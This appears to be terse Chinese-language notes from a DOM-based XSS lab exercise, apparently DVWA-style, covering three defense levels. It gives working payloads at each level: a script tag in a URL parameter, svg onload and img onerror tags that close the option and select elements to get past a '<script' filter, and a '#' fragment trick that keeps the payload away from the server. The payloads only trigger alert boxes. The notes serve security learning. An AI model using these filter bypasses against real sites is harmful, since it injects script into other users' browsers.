既可能是反射型,也可能是存储型。利用前端的DOM树来造成XSS攻击。
仅有前端代码,服务器无任何防御措施
通过修改URL传递参数,构造XSS测试payload
Payload:?default=<script>alert('xss')</script>服务器做了对“script”的验证 stripos ($default, “<script”)查找“<script”在参数中第一次出现的位置,若出现,则返回默认值English。
用其他函数绕过
Payload: </option></select><svg onload=alert("xss")> </option></select><img src="" onerror=alert(/xss/) />服务器端限制:只能选择选择框内的内容
通过#截断URL添加注释,将Payload写在注释中,只在浏览器运行,不传到服务器。
Payload: #</option></select><svg onload=alert("xss")> #</option></select><img src="" onerror=alert(/xss/) />前端做了URL编码 payload中的符号失效
